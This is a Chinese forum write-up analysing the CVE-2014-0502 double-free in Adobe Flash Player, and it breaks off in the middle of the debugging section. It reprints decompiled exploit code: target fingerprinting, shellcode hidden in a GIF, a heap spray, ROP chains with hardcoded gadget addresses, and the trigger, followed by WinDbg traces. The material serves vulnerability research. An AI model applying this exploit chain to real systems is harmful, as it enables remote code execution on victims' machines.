首页
论坛
课程
招聘
[原创]全网最详细CVE-2014-0502 Adobe Flash Player双重释放漏洞分析
2021-10-14 15:51 17702

[原创]全网最详细CVE-2014-0502 Adobe Flash Player双重释放漏洞分析

2021-10-14 15:51
17702

1. 前言

这次分析了CVE-2014-0502 Adobe Flash Player中的双重释放漏洞。文章的前半部分是Action Script代码的静态分析以及对于漏洞利用原理的一个初步分析,AS代码分析和书中内容重合,漏洞利用原理的初步分析涉及到了Adobe Flash Player的一些操作机制,通过搜索查看网上的资料完成了前半部分的内容;

 

后半部分集中在漏洞的动态调试上,目标是为了确定该漏洞在内存操作上的利用原理。由于双重释放的内存并不在堆中,而且没有在网上找到相关数据结构的资料,对于漏洞本身,网上能够找到的分析文章也并不深入(最详细的就是参考资料3了),因此分析过程并不顺利。最终通过断点调试、内存数据分析以及IDA静态代码的分析,得到了一个猜想上的结论(或许是关键字的原因,我并没有找到相关内存机制的资料)。

2. 静态代码分析

根据书中的描述,攻击者利用该漏洞构造了一个swf文件,并将文件嵌入网页中诱导用户访问,实现漏洞利用。之前分析过CVE-2011-2110,是Adobe Flash Player中的数组越界访问漏洞,使用了JPEXS Free Flash Decompiler工具对swf文件进行反编译,这次使用同样的方法。在书籍配套资料中提供了构造好的swf文件cc.swf,拖入工具中查看反编译结果。

 

自动生成的反编译结果中有很多特殊字符,因此我根据每个函数或变量的功能对其名称进行了修改。

2.1 辅助函数分析

首先对代码中几个子功能辅助函数进行分析:

2.1.1 系统环境判断函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function detect_sys() : int {
   var version:* = null;
   var VerInt:Number = NaN;
   var os:String = Capabilities.os.toLowerCase();
   var language:String = Capabilities.language.toLowerCase();
   // 如果是xp系统,根据语言不同得到不同返回值
   if(os == "windows xp") { 
      if(language == "zh-cn") {
         return 1;
      }
      if(language == "en") {
         return 2;
      }
      if(language == "zh-tw") {
         return 3;
      }
      return 0;
   }
   // 如果是win7系统,会执行checkversion()函数
   if(os == "windows 7") {
      ExternalInterface.call("eval","function checkversion(){  var result;  var ua=window.navigator.userAgent.toLowerCase();  var temp=ua.replace(/ /g,\"\");  {    if(temp.indexOf(\"nt6.1\")>-1&&temp.indexOf(\"msie\")>-1&&temp.indexOf(\"msie10.0\")==-1)    {      var java6=0;      var java7=0;      var a=0;      var b=0;      try {        java6=new ActiveXObject(\"JavaWebStart.isInstalled.1.6.0.0\");       } catch(e){}      try {        java7=new ActiveXObject(\"JavaWebStart.isInstalled.1.7.0.0\");       } catch(e){}      if(java6&&!java7)      {        return \"16\";      }      try {        a=new ActiveXObject(\"SharePoint.OpenDocuments.4\");      } catch(e){}      try {        b=new ActiveXObject(\"SharePoint.OpenDocuments.3\");      } catch(e){}            if((typeof a)==\"object\"&&(typeof b)==\"object\")      {        try {          location.href = \'ms-help://\'        }catch(e){};        return \"10\";      }      else if((typeof a)==\"number\"&&(typeof b)==\"object\")      {        try {          location.href = \'ms-help://\'        }catch(e){};        return \"07\";      }     }   }      return \"0\";}");
      version = ExternalInterface.call("eval","checkversion()");
      trace(version);
      return Number(parseInt(version,10));
   }
   return 0;
}

从代码可以看出这个漏洞利用代码针对的是xp系统中的中文版、中国台湾版以及英文版,win7系统会进一步执行checkversion()函数,该函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
function checkversion() {
    var result;
    var ua = window.navigator.userAgent.toLowerCase();
    var temp = ua.replace(/ /g,  ""); 
    {   
        if(temp.indexOf("nt6.1") > -1 && temp.indexOf("msie") > -1 && temp.indexOf("msie10.0") == -1) {     
            var java6 = 0;     
            var java7 = 0;     
            var a = 0;     
            var b = 0;     
            try {       
                java6 = new ActiveXObject("JavaWebStart.isInstalled.1.6.0.0");      
            } catch(e) {}     
            try {       
                java7 = new ActiveXObject("JavaWebStart.isInstalled.1.7.0.0");      
            } catch(e) {} 
            // 如果安装了java1.6,且未安装java1.7,返回16
            if(java6 && !java7) {       
                return "16";     
            }     
            try {       
                a = new ActiveXObject("SharePoint.OpenDocuments.4");     
            } catch(e) {}    
            try {       
                b = new ActiveXObject("SharePoint.OpenDocuments.3");     
            } catch(e) {}    
            // 安装了office 2010
            if((typeof a)=="object" && (typeof b)=="object") {       
                try {         
                    location.href = 'ms-help://'       
                } catch(e) {};       
                return "10";  
            // 安装了office 2007
            } else if((typeof a)=="number" && (typeof b)=="object") {       
                try {         
                    location.href = 'ms-help://'       
                } catch(e) {};       
                return "07";     
            }    
        }  
    }     
    return "0";
}

2.1.2 事件监听函数

这个函数用于在图片加载完成后执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function listener(e:Event) : void {
   var bytes:ByteArray = new ByteArray();
   // bytes的内容为logo.gif数据
   bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length);
   bytes.position = bytes.length - 4;
   bytes.endian = "littleEndian";
   var len:uint = bytes.readUnsignedInt();  // 最后四个字节是shellcode长度
   var shellbytes:ByteArray = new ByteArray();
   // 读取shellcode内容
   shellbytes.writeBytes(bytes,bytes.length - 4 - len,len);
   shellbytes.position = 0;
   // 设置共享变量mpsc为shellcode内容
   worker.setSharedProperty("mpsc",shellbytes);
   worker.start();
}

通过该函数可以看到shellcode的内容就保存在要加载的图片中,其中最后四个字节保存的是shellcode的长度,根据该数据前向读取,获得shellcode的内容放入mpsc属性中。

2.1.3 设置cookie值

为了便于判断之前是否进行过漏洞利用,程序设置了cookie值XPT20131111:

1
2
3
4
5
public function cookie_func() : * {
   ExternalInterface.call("eval","function setcookie(){var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );document.cookie = \"Cookie1=XPT20131111; expires=\"+ Then.toGMTString();}function CanIFuck(){var cookieString = new String(document.cookie);if(cookieString.indexOf(\"XPT20131111\") == -1){setcookie(); return 1;}else{ return 0;}}");
   var ret:String = ExternalInterface.call("eval","CanIFuck()");
   return parseInt(ret,10);
}

里面的代码内容整理后得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function setcookie() {
    var Then = new Date();
    Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );
    document.cookie = "Cookie1=XPT20131111; expires=" + Then.toGMTString();
}
function CanIFuck() {
    var cookieString = new String(document.cookie);
    if (cookieString.indexOf("XPT20131111") == -1) {
        setcookie();
        return 1;
    } else {
        return 0;
    }
}

2.1.4 堆喷射函数

堆喷射函数使用提供的参数构造一个大小为1MB的字节数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static function heap_spray(val:*) : * {
   var temp:* = null;
   bytes = new ByteArray();
   bytes.writeBytes(val);
   // 成倍扩大bytes数组到1MB
   while(bytes.length < 0x100000) {
      temp = new ByteArray();
      temp.writeBytes(bytes);
      bytes.writeBytes(temp);
   }
}
 
public static function heap_spray_func(val:*, size:*) : * {
   if(null == bytes_array) {
      bytes_array = [];
   }
   t = size;
   heap_spray(val);
}

2.1.5 漏洞利用准备函数

1
2
3
4
5
6
7
8
9
public function gen_exp() : void {
   var exp:String = "AAAA";
   while(exp.length < 102400)
   {
      exp += exp;
   }
   var sobj:SharedObject = SharedObject.getLocal("record");
   sobj.data.logs = exp;
}

这个函数创建了一个共享对象record

2.2 主函数分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
public function cc() {
   var loader:* = null;
   var shellbytes:* = null;
   var val:* = null;
   var j:* = undefined;
   var i:* = undefined;
   var block1:* = null;
   i = undefined;
   var block:* = null;
   var rop:* = null;
   str = new String();
   super();
   if(Worker.current.isPrimordial) {  // primordial worker
      // 检查是否设置了cookie值XPT20131111,未设置则继续执行,否则返回
      if(cookie_func() == 0) {
         return;
      }
      sys = detect_sys();  // 检查系统环境
      if(sys == 0) {  // 系统为xp,且语言非中文、中国台湾、英文,则返回
         return;
      }
      loader = new URLLoader();
      loader.dataFormat = "binary";
      // 完成加载后执行listener函数
      // listener函数用于读取logo.gif中保存的shellcode
      loader.addEventListener("complete",listener); 
      loader.load(new URLRequest("logo.gif"));  // 加载图片logo.gif
      // 创建background worker
      worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
      worker.setSharedProperty("version",sys);
   } else {     // background worker入口点
      sys = Worker.current.getSharedProperty("version");
      shellbytes = Worker.current.getSharedProperty("mpsc");
      val = new ByteArray();
      val.endian = "littleEndian";
      var sc_len:uint = 0;
      // 构造大小为32KB,包含shellcode的基础数据
      for(i = 0; i < 0xc0c; ) {
         val.writeByte(0x90 + i);
         i++;
      }
      val.writeBytes(shellbytes);
      for(i = val.length; i < 0x10000; ) {
         val.writeByte(0x90 + i);
         i++;
      }
      // 通过堆喷射函数扩展数据到1MB
      heap_spray_func(val,0xFFFDC);
      // 继续堆喷射,构造约224MB的数据
      block1 = new ByteArray();
      block1.writeBytes(bytes,0,0xFFFDC);
      bytes_array.push(block1);
      bytes = null;
      for(i = 0; i < 0xe0; ) {
         block = new ByteArray();
         block.writeBytes(block1,0,0xFFFDC);
         bytes_array.push(block);
         i++;
      }
      // 漏洞利用准备,创建共享对象record
      gen_exp();
 
      // 根据不同系统环境构造不同rop
      if(sys == 7) {
         rop = gen_rop3();
         rop.toString();
      }
      else if(sys == 10) {
         rop = gen_rop2();
         rop.toString();
      }
      else if(sys == 16) {
         rop = gen_rop();
         rop.toString();
      }
      else if(sys == 1 || sys == 2 || sys == 3) {
         rop = gen_rop4();
         rop.toString();
      }
      Worker.current.terminate();  // 结束当前进程,会释放共享对象record
   }
}

2.3 漏洞利用原理初步分析

以上的代码分析只是对整个漏洞利用流程有一个初步的了解,但是对于问题的根源——漏洞利用原理,仍然不甚清楚。

 

为了理解为什么上面的代码会触发双重释放漏洞,需要对Action Script有一定的了解,为此我查看了一下Action Script的手册(参考资料1)。

2.3.1 Worker的概念

AS通过Worker的实现了线程同步的概念,每个worker在一个单独的线程中执行它的代码。创建Worker对象不需要调用Worker()构造函数,在支持Worker同步的环境下,程序一开始会自动为主SWF创建一个Worker,即上面代码中提到的primordial worker。

 

如果想要创建其他的worker,有很多种方法,具体可以参考手册中的内容。而上面代码中的写法就是其中的一种方法,使用同一swf文件同时作为primordial worker和background worker,通过条件判断的方式判断当前是哪个worker。

 

每个worker都独立执行,它们有不同的内存空间、变量和代码,但是可以使用共享属性(Shared properties)、MessageChannel以及可共享的ByteArray进行通信。

2.3.2 SharedObject的概念

SharedObject可以用于在本地及远程读取和保存有限数量的数据。在此次的程序代码中,使用SharedObject.getLocal("record");创建了一个叫做record的本地共享对象。

 

根据手册中的说法,共享对象会在以下几种情况下进行flush,即写入本地文件的操作:

  1. 直接调用flush()函数
  2. 共享对象的会话结束时:
    1. SWF文件关闭的时候
    2. 没有任何引用进行垃圾回收的时候
    3. 调用SharedObject.clear()或者SharedObject.close()

2.3.3 触发双重释放的原因

在background worker的代码中,调用了gen_exp()函数,在该函数中,通过var sobj:SharedObject = SharedObject.getLocal("record");创建了record共享对象,但是函数结束之后,对于该共享对象的引用就结束了,(在后期查看资料时,根据参考资料4,此时不会发生垃圾回收,因此不会发生flush操作,但是此时共享对象已经准备好被垃圾回收了);

 

在background worker代码结束的位置,执行了Worker.current.terminate();函数,这句代码直接结束了当前的worker,理论上也会导致共享对象发生flush操作(除此之外,由于worker结束,会进行垃圾回收,垃圾回收同样会导致flush操作的发生)。

 

更深层次的原因我在参考资料2的这篇论文中找到了,在进行flush操作的时候,AVM会进行两个检查:

  1. 检查对象的pending flush标签,确认共享对象中有数据需要写入
  2. 检查当前域的最大允许存储空间

如果设置了pending flush标签,而且数据大小没有超过最大允许存储空间的范围,就会进行flush操作,并且重置标签;如果没有足够的空间,flush操作不会成功,标签也不会重置。

 

根据我们上面的分析,代码中理论上可以发生针对同一共享对象的两次flush操作,而这个record共享对象的大小超过了空间限制。

 

参考资料2中的描述其实援引自参考资料3,这里面说,当没有足够空间的时候,虽然flush操作没有成功,但是符合空间要求的那部分数据已经进行了写入并进行了空间释放,但是由于flush没成功,pending flush的标签没有重置,这也就允许了第二次flush的发生,从而导致了双重释放。

 

以上,通过对代码的静态分析,我们得出了一个理论上的双重释放漏洞利用原理分析。接下来还是使用分析CVE-2011-2110的方法,对这个代码进行一个动态的分析调试,从而确认以上理论结果的正确性。

3. 漏洞的动态调试分析

注:不知道是不是环境的问题,我在调试过程中得到的输出结果和书中的大为不同,因此分析步骤也有所差异

3.1 确定ROP进入位置

3.1.1 初步定位

环境搭建:

 

服务器:Windows 7 sp0 64bits, 192.168.6.198

 

客户端:Windows XP sp3, IE 6.0.2900, flashplayer11_7r700_261_winax_debug.exe, 192.168.6.209

 

使用phpstudy在服务端安装好相应的服务,将cc.swf和logo.gif放在根目录,然后在客户端打开IE并使用windbg附加,访问192.168.6.198/cc.swf,程序中断:

1
2
3
4
5
6
7
8
(ac0.ff0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=0394fa1c
eip=77bf200d esp=0394fa18 ebp=0394fa44 iopl=0         ov up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010a07
MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000+0x1200d):
77bf200d 000500030000    add     byte ptr ds:[300h],al      ds:0023:00000300=??

这个中断的位置比较奇怪,看起来是在一个DLL的内部,所以很容易想到可能是中断在了ROP的执行过程中,由于环境问题,硬编码在程序中的地址出现了问题。

 

因为现在是XP的环境,根据上面静态分析可知,在简体中文版XP环境时,detect_sys函数返回值应该是1。看一下此时用于生成ROP的函数gen_rop4()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function gen_rop4() : ByteArray {
   var baseaddr:int = 0;
   var i:* = undefined;
   if(sys == 1) {
      baseaddr = 2008940544;   // 77be0000  简体中文版
   }
   else if(sys == 2) {
      baseaddr = 2009137152;   // 77c10000
   }
   else if(sys == 3) {
      baseaddr = 2008940544;   // 77be0000
   }
   var rop:ByteArray = new ByteArray();
   rop.endian = "littleEndian";
   rop.writeMultiByte("FILL","iso-8859-1");
   rop.writeUnsignedInt(171922 + baseaddr);  // 77C09F92
   rop.writeUnsignedInt(71891 + baseaddr);   // 77BF18D3
   rop.writeUnsignedInt(156885 + baseaddr);  // 77C064D5
   rop.writeUnsignedInt(156885 + baseaddr);  // 77C064D5
   rop.writeUnsignedInt(0xe0913 + baseaddr); // 77CC0913
   rop.writeUnsignedInt(513);                // 201
   rop.writeUnsignedInt(248825 + baseaddr);  // 77C1CBF9
   rop.writeUnsignedInt(64);
   ...
   rop.writeUnsignedInt(2425411327);
   for(i = rop.length; i < 204; ) {
      rop.writeByte(0x90);
      i++;
   }
   return rop;
}

中断的地址77bf200d距离77BF18D3蛮近的,但是也不确定是不是就是这里出现的问题。

 

看一下函数调用流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:019> kb
ChildEBP RetAddr  Args to Child             
0394fa44 10101815 00000000 00000000 00000000 MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000+0x1200d)
WARNING: Stack unwind information not available. Following frames may be wrong.
0394fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x101815
0394faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x103075
0394fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
0394fb08 100fe0fd 00000000 031b2000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
0394fb1c 1015e803 7c809832 031b2000 031b2000 Flash32_11_7_700_261+0xfe0fd
0394fb6c 10210898 00000001 7c809832 031b2000 Flash32_11_7_700_261+0x15e803
0394fb80 10210e84 02c2d000 10210ebc 0394ff18 Flash32_11_7_700_261!DllUnregisterServer+0x1db9f
0394fb88 10210ebc 0394ff18 1003c391 00000001 Flash32_11_7_700_261!DllUnregisterServer+0x1e18b
0394fb90 1003c391 00000001 031b2000 032f2020 Flash32_11_7_700_261!DllUnregisterServer+0x1e1c3
0394ff90 10629336 02a783e0 10ba9cb4 02a7d338 Flash32_11_7_700_261+0x3c391
00000000 00000000 00000000 00000000 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe7ac6

很好,看来至少前面的函数帧都是Flash中的代码,看一下第一个函数处的代码:

1
2
3
4
5
6
7
8
9
10
0:019> ub Flash32_11_7_700_261+0x101815
Flash32_11_7_700_261+0x101804:
10101804 10d9            adc     cl,bl
10101806 ee              out     dx,al
10101807 53              push    ebx
10101808 51              push    ecx
10101809 51              push    ecx
1010180a dd1c24          fstp    qword ptr [esp]
1010180d ff7508          push    dword ptr [ebp+8]
10101810 e821f9ffff      call    Flash32_11_7_700_261+0x101136 (10101136)

有了这个位置之后,我们可以重新调试,在10101810的位置下断(重命名此处调用的函数为rop_func),然后跟进看看函数是怎么到达77bf200d这个中断位置的。

 

程序中断在10101810之后,可以建立一个快照,然后F5,发现程序在这里一共中断了4次。因此回到一开始的快照,然后中断四次后就停下来步入。

3.1.2 解决遇到的问题

但是接下来我遇到了一个问题,步入之后,程序在这个函数正常的执行,然后跳出来了Σ(っ °Д °;)っ

 

其实出现这个问题的原因特别特别简单,但是当时我就没想到……

 

为了找出问题的原因,我在IDA中打开Flash32_11_7_700_261.ocx文件,然后定位到Flash32_11_7_700_261+0x101136这个函数,在多个跳转位置(就是IDA中标记了loc_xxxx的位置)下了断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:020> bl
 0 e 76b5d038     0001 (00010:**** WINMM!midiOutPlayNextPolyEvent // 这个是之前调试其他问题留下的,忽略它
 1 e 10101810     0001 (00010:**** Flash32_11_7_700_261+0x101810
 2 e 10101136     0001 (00010:**** Flash32_11_7_700_261+0x101136  // 函数在这里开始
 3 e 10101153     0001 (00010:**** Flash32_11_7_700_261+0x101153
 4 e 10101173     0001 (00010:**** Flash32_11_7_700_261+0x101173
 5 e 10101199     0001 (00010:**** Flash32_11_7_700_261+0x101199
 6 e 101011b3     0001 (00010:**** Flash32_11_7_700_261+0x1011b3
 7 e 101011f2     0001 (00010:**** Flash32_11_7_700_261+0x1011f2
 8 e 1010122e     0001 (00010:**** Flash32_11_7_700_261+0x10122e
 9 e 10101261     0001 (00010:**** Flash32_11_7_700_261+0x101261
10 e 10101265     0001 (00010:**** Flash32_11_7_700_261+0x101265
11 e 1010126b     0001 (00010:**** Flash32_11_7_700_261+0x10126b
12 e 101012a8     0001 (00010:**** Flash32_11_7_700_261+0x1012a8
13 e 101012da     0001 (00010:**** Flash32_11_7_700_261+0x1012da
14 e 101012f3     0001 (00010:**** Flash32_11_7_700_261+0x1012f3
15 e 1010116e     0001 (00010:**** Flash32_11_7_700_261+0x10116e
16 e 10101299     0001 (00010:**** Flash32_11_7_700_261+0x101299
17 e 1010114c     0001 (00010:**** Flash32_11_7_700_261+0x10114c  // 函数在这里退出

然后不断F5,记录下中断的位置(以下不是直接输出内容,做了整理):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Breakpoint 2 hit
Breakpoint 3 hit
Breakpoint 4 hit
Breakpoint 5 hit
Breakpoint 6 hit
Breakpoint 7 hit
Breakpoint 8 hit
Breakpoint 10 hit
Breakpoint 11 hit
Breakpoint 16 hit
Breakpoint 17 hit
Breakpoint 5 hit
Breakpoint 6 hit
// 然后就中断在异常位置了

注意到在程序中断在第17个断点之后,就会从该函数返回,但是之后程序又到达了函数代码处,却没有在第2个断点,即函数开始位置中断,而是直接中断在了第5个断点处。

 

为啥会直接执行到第5个断点这里呢?之后我又多设置了几个断点,这里不再贴出过程,总之我真的是突然灵光一闪,意识到这个函数它嵌套了!!!

 

当程序第一次中断在第5个断点时,看一下函数调用流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:020> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
03a4f81c 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x101199
03a4f848 10103075 00000000 02aa41c0 02aa41c0 Flash32_11_7_700_261+0x101815
03a4f8d0 102dff93 02aa41c0 102e0063 02acf1b0 Flash32_11_7_700_261+0x103075
03a4f8d8 102e0063 02acf1b0 1014bc69 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
03a4f8e0 1014bc69 00000000 0334d308 03bf6a80 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
03a4f910 105b68cf 03bf6a80 0369a298 00000000 Flash32_11_7_700_261+0x14bc69
03a4f944 1062a5e4 10b70b54 00000048 00000000 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x7505f
03a4f99c 10035c09 100e3933 00000001 03a4f9c4 Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0xe8d74
03a4f9a0 100e3933 00000001 03a4f9c4 100f479d Flash32_11_7_700_261+0x35c09
03a4f9ac 100f479d 0369a000 100b564c fffffffe Flash32_11_7_700_261+0xe3933
03a4f9e0 100b6339 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xf479d
03a4f9f8 100b68ff 03a4fa18 037b9060 10b9c2f4 Flash32_11_7_700_261+0xb6339
03a4fa1c 10101196 037b9060 02a563b0 02aa41c0 Flash32_11_7_700_261+0xb68ff
03a4fa44 10101815 00000000 00000000 00000000 Flash32_11_7_700_261+0x101196
03a4fa70 10103075 00000000 02a563b0 02aa41c0 Flash32_11_7_700_261+0x101815   // 看这里!!!
03a4faf8 102dff93 02aa41c0 102e0063 02aa41c0 Flash32_11_7_700_261+0x103075
03a4fb00 102e0063 02aa41c0 100fe0fd 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed29a
03a4fb08 100fe0fd 00000000 0369a000 00000000 Flash32_11_7_700_261!DllUnregisterServer+0xed36a
03a4fb1c 1015e803 7c809832 0369a000 0369a000 Flash32_11_7_700_261+0xfe0fd
03a4fb6c 10210898 00000001 7c809832 0369a000 Flash32_11_7_700_261+0x15e803

可以发现函数的嵌套调用。

3.1.3 继续定位

解决了这个问题之后就简单了,还是回到第五个断点处,第二次中断之后,可以继续单步,然后到达了这里:

1
2
3
4
5
6
0:020> p
eax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=03a4fa1c
eip=101011c2 esp=03a4fa1c ebp=03a4fa44 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Flash32_11_7_700_261+0x1011c2:
101011c2 ff5008          call    dword ptr [eax+8]    ds:0023:02aa4298=77bf18d3

程序调用了[eax+8],也就是77bf18d3,这就是ROP中的一个地址啊。看一下eax处的内容:

1
2
3
4
5
6
7
8
9
0:020> dd eax
02aa4290  00000000 77c09f92 77bf18d3 77c064d5
02aa42a0  77c064d5 77c16e91 00000201 77c1cbf9
02aa42b0  00000040 77bfc343 77c305b5 77bf3b47
02aa42c0  77c09f92 77c04d9a 77bfaacc 77bf1d16
02aa42d0  77be1131 77c267f0 77c21025 0c0c08b8
02aa42e0  04c0830c 90903881 f5749090 20b8f08b
02aa42f0  8b77be11 05b56800 406a77c3 00200068
02aa4300  d0ff5600 9090d6ff 90909090 90909090

这里就是ROP中的内容。

 

所以这里就是ROP进入的位置了,接下来要确定程序是如何改变这里的数据内容的。

3.2 ROP进入位置的数据分析

现在我们知道程序会在101011c2 ff5008 call dword ptr [eax+8]的位置跳转到ROP执行,但是这里原本的内容是什么呢?

 

可以回到程序第一次中断在第5个断点的时候,继续单步到达0x101011c2的位置。

1
2
3
4
5
6
0:020> p
eax=10c3d06c ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=03a4f7f4
eip=101011c2 esp=03a4f7f4 ebp=03a4f81c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Flash32_11_7_700_261+0x1011c2:
101011c2 ff5008          call    dword ptr [eax+8]    ds:0023:10c3d074=10073c89

call dword ptr [eax+8]这种调用格式来看,这里应该是在调用对象的虚函数,所以可以看一下ecx的内容,这里通常保存了this指针

1
2
3
4
5
6
7
8
9
10
11
12
13
0:020> ddp ecx
02aa41c0  10c3d06c 102e005b Flash32_11_7_700_261!DllUnregisterServer+0xed362
02aa41c4  00000000
02aa41c8  0369a000 10bbbd10 Flash32_11_7_700_261!AdobeCPGetAPI+0x3d9490
02aa41cc  02a60ee0 3239312f 
02aa41d0  0000001c
02aa41d4  0000001d
02aa41d8  02a55be0 6f636572
02aa41dc  00000006
02aa41e0  00000007
02aa41e4  00000000
02aa41e8  00000000
...

上面的第四个值和第七个值看起来很像ASCII,所以再看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0:020> dda ecx
02aa41c0  10c3d06c "["
02aa41c4  00000000
02aa41c8  0369a000 "...."
02aa41cc  02a60ee0 "/192.168.6.198/record/cc.swf"
02aa41d0  0000001c
02aa41d4  0000001d
02aa41d8  02a55be0 "record"
02aa41dc  00000006
02aa41e0  00000007
02aa41e4  00000000
02aa41e8  00000000
02aa41ec  00000000
02aa41f0  00000000
02aa41f4  00000000
02aa41f8  00000000
02aa41fc  02a97290 "C:/Documents and Settings/test/Application Data/Macrome"
02aa4200  00000067
02aa4204  00000068
02aa4208  02a5eca0 "C:/Documents and Settings/test/Application Data/Macrome"
02aa420c  0000007f
02aa4210  00000080
02aa4214  00000000
02aa4218  00000000
02aa421c  00000000
02aa4220  02a7b4f0 "C:/Documents and Settings/test/Application Data/Macrome"
02aa4224  00000055
02aa4228  00000056
02aa422c  02b013a0 "C:/Documents and Settings/test/Application Data/Macrome"
02aa4230  0000006d
02aa4234  0000006e
02aa4238  00000000
02aa423c  00000000

上面的路径字符串没有完全打印出来:

1
2
3
4
5
6
7
8
9
10
0:020> da 02a97290
02a97290  "C:/Documents and Settings/test/A"
02a972b0  "pplication Data/Macromedia/Flash"
02a972d0  " Player/192.168.6.198/cc.swf/rec"
02a972f0  "ord.sol"
0:020> da 02a5eca0
02a5eca0  "C:/Documents and Settings/test/A"
02a5ecc0  "pplication Data/Macromedia/Flash"
02a5ece0  " Player/#SharedObjects/8285T5QE/"
02a5ed00  "192.168.6.198/cc.swf/record.sol"

所以基本可以判断这里在对record对象进行操作,而代码中唯一和record有关的语句就是:

1
var sobj:SharedObject = SharedObject.getLocal("record");

除了查看ecx的内容之外,注意eax的值为10c3d06c。意外的是这个位置是可以在IDA中找到的:

1
2
3
4
5
6
7
8
9
10
11
.rdata:10C3D06C 5B 00 2E 10  off_10C3D06C    dd offset sub_102E005B  ; DATA XREF: sub_102DFF63+16↑o
.rdata:10C3D06C                                                                       ; sub_102DFF85+3↑o
.rdata:10C3D070 11 30 10 10  dd offset sub_10103011
.rdata:10C3D074 89 3C 07 10  dd offset ?Id@SchedulerBase@details@Concurrency@@UBEIXZ ; Concurrency::details::SchedulerBase::Id(void)
.rdata:10C3D078 D9 13 2E 10  dd offset sub_102E13D9
.rdata:10C3D07C 77 00 2E 10  dd offset sub_102E0077
.rdata:10C3D080 44 03 2E 10  dd offset sub_102E0344
.rdata:10C3D084 8E 04 2E 10  dd offset sub_102E048E
.rdata:10C3D088 A1 D2 1B 10  dd offset nullsub_2
.rdata:10C3D08C C5 06 2E 10  dd offset sub_102E06C5
.rdata:10C3D090 9B FF 2D 10  dd offset sub_102DFF9B

所以[eax+8]实际上应该要调用Concurrency::details::SchedulerBase::Id(void)函数,看起来这个函数和同步有关。

 

接下来F5继续执行,第二次中断在第5个断点,还是单步到101011c2的位置:

1
2
3
4
5
6
0:020> p
eax=02aa4290 ebx=00000000 ecx=02aa41c0 edx=00000320 esi=02aa41c0 edi=03a4fa1c
eip=101011c2 esp=03a4fa1c ebp=03a4fa44 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Flash32_11_7_700_261+0x1011c2:
101011c2 ff5008          call    dword ptr [eax+8]    ds:0023:02aa4298=77bf18d3

看一下ecx处的数据(注意这里ecx的值和上一次中断的值是一样的,所以仍旧是record对象):

1
2
3
4
5
6
7
8
9
0:020> dd ecx
02aa41c0  02aa4290 00000000 0369a000 00000000
02aa41d0  00000000 00000000 00000000 00000000
02aa41e0  00000000 00000000 00000000 00000000
02aa41f0  00000000 00000000 00000000 00000000
02aa4200  00000000 00000000 00000000 00000000
02aa4210  00000000 00000000 00000000 00000000
02aa4220  00000000 00000000 00000000 00000000
02aa4230  00000000 00000000 00000000 00000000

ecx处的数据都清空了,而原本存在虚函数表的位置,即首四个字节的数据改变了,原本应该是10c3d06c,现在变成了02aa4290

 

所以现在可以确定代码是通过漏洞利用,将record对象的虚函数表指针10c3d06c修改为了ROP所在位置02aa4290,而且在程序跳转进入ROP的时候,record对象已经完成了析构。

3.3 漏洞利用流程调试

3.3.1 确定两次flush的发生

现在我们已经确定漏洞导致02aa41c0处的首四个字节发生变化,那么就可以在这里设置一个写断点。回到程序第一次中断在第5个断点的时候,设置写断点,继续执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
